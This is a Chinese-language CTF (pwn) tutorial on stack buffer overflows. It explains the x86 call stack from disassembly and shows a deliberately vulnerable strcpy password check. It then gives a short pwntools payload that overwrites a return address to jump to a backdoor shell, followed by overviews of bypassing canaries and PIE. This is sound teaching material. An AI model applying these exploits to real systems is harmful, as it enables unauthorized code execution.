从这一篇文章开始我们就正式进入pwn的实战部分,本篇文章带领大家了解pwn中最简单的一类型漏洞:栈溢出原理及其利用。
在了解栈溢出漏洞原理之前,我们必须得了解栈的工作原理。
一.函数调用栈:
从数据结构来说,栈是一种先进后出的一种数据结构,在系统中,也是如此,栈的基本操作有push和pop。
我们来思考这样一个问题:
我们写了一个C语言程序,在main函数中又调用了其他函数,并且这个函数有参数,那么系统是如何执行的呢?
实际上这里main函数和main函数中调用的函数不在一个位置上,那么在main中调用其他函数,就需要cpu跑到对应的函数上去执行。我们知道在汇编中,调用函数的指令为call,但是调用完函数之后,cpu还要返回到main函数中来,继续执行后续指令,那么操作系统是如何完成这个个过程的呢?
我们来给出一个例子,观察一下:
#include <stdio.h>
int add(int a, int b) {
return a + b;
}
int main() {
printf("Please input two number:");
int a, b;
scanf("%d%d", &a, &b);
int sum = add(a, b);
printf("sum = %d", sum);
return 0;
}
int main() {
00AC1720 push ebp
00AC1721 mov ebp,esp
00AC1723 sub esp,4Ch
00AC1726 push ebx
00AC1727 push esi
00AC1728 push edi
00AC1729 mov ecx,offset _8849FBAC
00AC172E call @__CheckForDebuggerJustMyCode@4 (0AC11AEh)
printf("Please input two number:");
00AC1733 push offset string "Please input two number:" (0AC5C58h)
00AC1738 call _printf (0AC103Ch)
00AC173D add esp,4
int a, b;
scanf("%d%d", &a, &b);
00AC1740 lea eax,[b]
00AC1743 push eax
00AC1744 lea ecx,[a]
00AC1747 push ecx
00AC1748 push offset string "%d%d" (0AC5B30h)
00AC174D call _scanf (0AC107Dh)
00AC1752 add esp,0Ch
int sum = add(a, b);
00AC1755 mov eax,dword ptr [b]
00AC1758 push eax
00AC1759 mov ecx,dword ptr [a]
00AC175C push ecx
00AC175D call add (0AC12CBh)
00AC1762 add esp,8
00AC1765 mov dword ptr [sum],eax
printf("sum = %d", sum);
00AC1768 mov eax,dword ptr [sum]
00AC176B push eax
00AC176C push offset string "sum = %d" (0AC5B44h)
00AC1771 call _printf (0AC103Ch)
00AC1776 add esp,8
return 0;
00AC1779 xor eax,eax
}
00AC177B pop edi
00AC177C pop esi
00AC177D pop ebx
00AC177E mov esp,ebp
00AC1780 pop ebp
}
00AC1781 ret
我们来通过汇编看看函数调用过程:
- 将函数的参数按照指定的函数调用约定进行压栈
- 然后进行call,注意,这里的call指令在00AC175D位置,进行call指令的时候,同时隐藏地进行了一个动作:push 00AC1752
- 进行add函数的一系列操作
- 在进行函数操作之后,由于我们压入了00AC1752,所以在add函数返回的时候,ret指令,通过pop eip,将指令指针指向了00AC1752,这样,cpu下一步就会执行00AC1752上的指令
这就是完整的函数调用栈,通过内存与寄存器以及指令的巧妙配合,完成了函数调用。
二.栈溢出基础
我们知道了函数调用栈的原理,我们来看看这种原理下的栈溢出:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#define PASSWORD "12345678"
int CheckPassWord(char* szBuffer);
int main() {
printf("请输入密码:");
char szPassWord[512] = { 0 };
scanf("%s", szPassWord);
if (CheckPassWord(szPassWord)) {
printf("密码输入错误!\r\n");
}
else {
printf("Successful!\r\n");
}
return 0;
}
int CheckPassWord(char* szBuffer) {
int result = 0;
char MyBuffer[8] = { 0 };
result = strcmp(szBuffer, PASSWORD);
strcpy(MyBuffer, szBuffer);
return result;
}
在这里我们观察函数CheckPassWord,这里的strcpy明显的存在栈溢出,我们来调试看一下:
我们来看看这个函数的栈:我们可以看到,ebp的位置为返回地址,ebp-4为检验密码的返回值,如果是0,表示密码正确,如果非0,表示密码错误,而ebp-C的位置,是局部变量的位置,这里就是将输入的字符串拷贝到ebp-C的位置,但是这里有一个很大的问题,由于这里没有对输入字符串的长度做限制,试想一下,如果我们输入的字符串很长,这里调用了strcpy函数的时候,是不是直接能够将ebp-4和返回地址淹没呢?淹没了ebp-4的位置,我们可以修改密码对比结果,但是淹没了返回地址,是不是我们想让程序从哪执行,就从哪执行?这样就做到了流程劫持。
我们这里实验将ebp-4的位置进行淹没,我们的思路是不管输入什么,都要验证通过,我们知道C语言的字符串都是以’\0’结尾的,那么我们就用这个字符淹没ebp-4的位置,这样不管我们输入什么,都可以验证成功,为此,我们输入八个字符长度的字符串,字符串末尾的’\0’自然会将ebp-4位置的值给淹没掉:
我们可以很明显地看到,栈溢出成功。
我们来通过一个pwn实例来实验淹没返回值,并且劫持流程:
首先来到main函数观察,发现没有什么危险函数,然后进而观察vuln函数:
很明显,这里存在read函数,漏洞应该就出现在这里了,我们来看看:
这里是栈的情况,buf后面八个字节就是返回地址,现在我们要做的是淹没这个返回值,那返回到哪里去呢?
- 我们可以在程序中找一找,有没有后门函数,如果有后门函数的话,直接将返回地址修改为后门函数,即可拿到shell
- 如果没有后门函数,我们就需要制作shellcode,观察栈是否可执行,将shellcode填入缓冲区,将返回地址修改为缓冲区首地址,这样就可以执行我们的shellcode,最终拿到shell。
我们来观察一下这个程序是否有后门函数:
很明显这里存在后门函数,我们来观察后门函数的地址:
这里可以看到后门函数地址:0x400762
这样我们就可以来编写payload了:
from pwn import *
p = process('./pwn2')
payload = b'a'*160 + p64(0xd)+p64(0x400766)
p.send(payload)
p.interactive()
很明显,漏洞利用成功。
canary保护绕过:
- canary保护机制:
canary是一种防护栈溢出的保护机制。其原理就是在函数入口处,从fs/gs寄存器中取出一个4字节或者8字节的值,放到栈上,当函数结束时会检查这个值和放进去的值是否一致
当函数结束,检查canary的值,发现不一致,这时候就出发_Stack_chk_fail函数,程序退出并报错 - canary bypass的姿势:
- 格式化字符串绕过canary:
通过格式化字符串,读取canary的值,在pwn的时候,保持canary的值不变 - Canary爆破(针对有fork函数的程序)
fork函数相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也是一样的,那我们就也可以逐位爆破,如果程序崩溃了就说明这一位不对如果程序正常就可以接着跑下一位,直到跑出正确的canary - Stack smashing(故意出发canary_ssp leak)
- 劫持__Stack_chk_fail
修改got表中__stack_chk_fail函数的地址,canary之后,执行的函数由于地址被修改,所以程序会跳转到我们修改到的函数上。
- 格式化字符串绕过canary:
PIE保护绕过:
- pie保护机制:
pie是针对代码段(.data),数据段(.data),未初始化全局变量段(.bss)等固定地址的防护技术,如果程序开启了pie保护的话,在每次加载程序时都变换加载地址,而不能通过ROPdadget等一些工具帮助解题。- pie绕过思路:
开启了pie保护的程序,所有的函数地址,都是偏移地址,程序加载地址每次都不一样,但是程序的加载地址一般都是以内存页为单位的,所以程序的基地址最后三个数字一定是0,这就是说那些已知的最后三个数实际上也就是绝对地址的最哦胡三个数,那我们就有了思路,虽然我们不知道完整的地址,但是我们知道最后三个数,那么我们可以利用栈上已有的地址,只修改最后的两个字节(最后4个数,就可以完成流程劫持。
- pie绕过思路: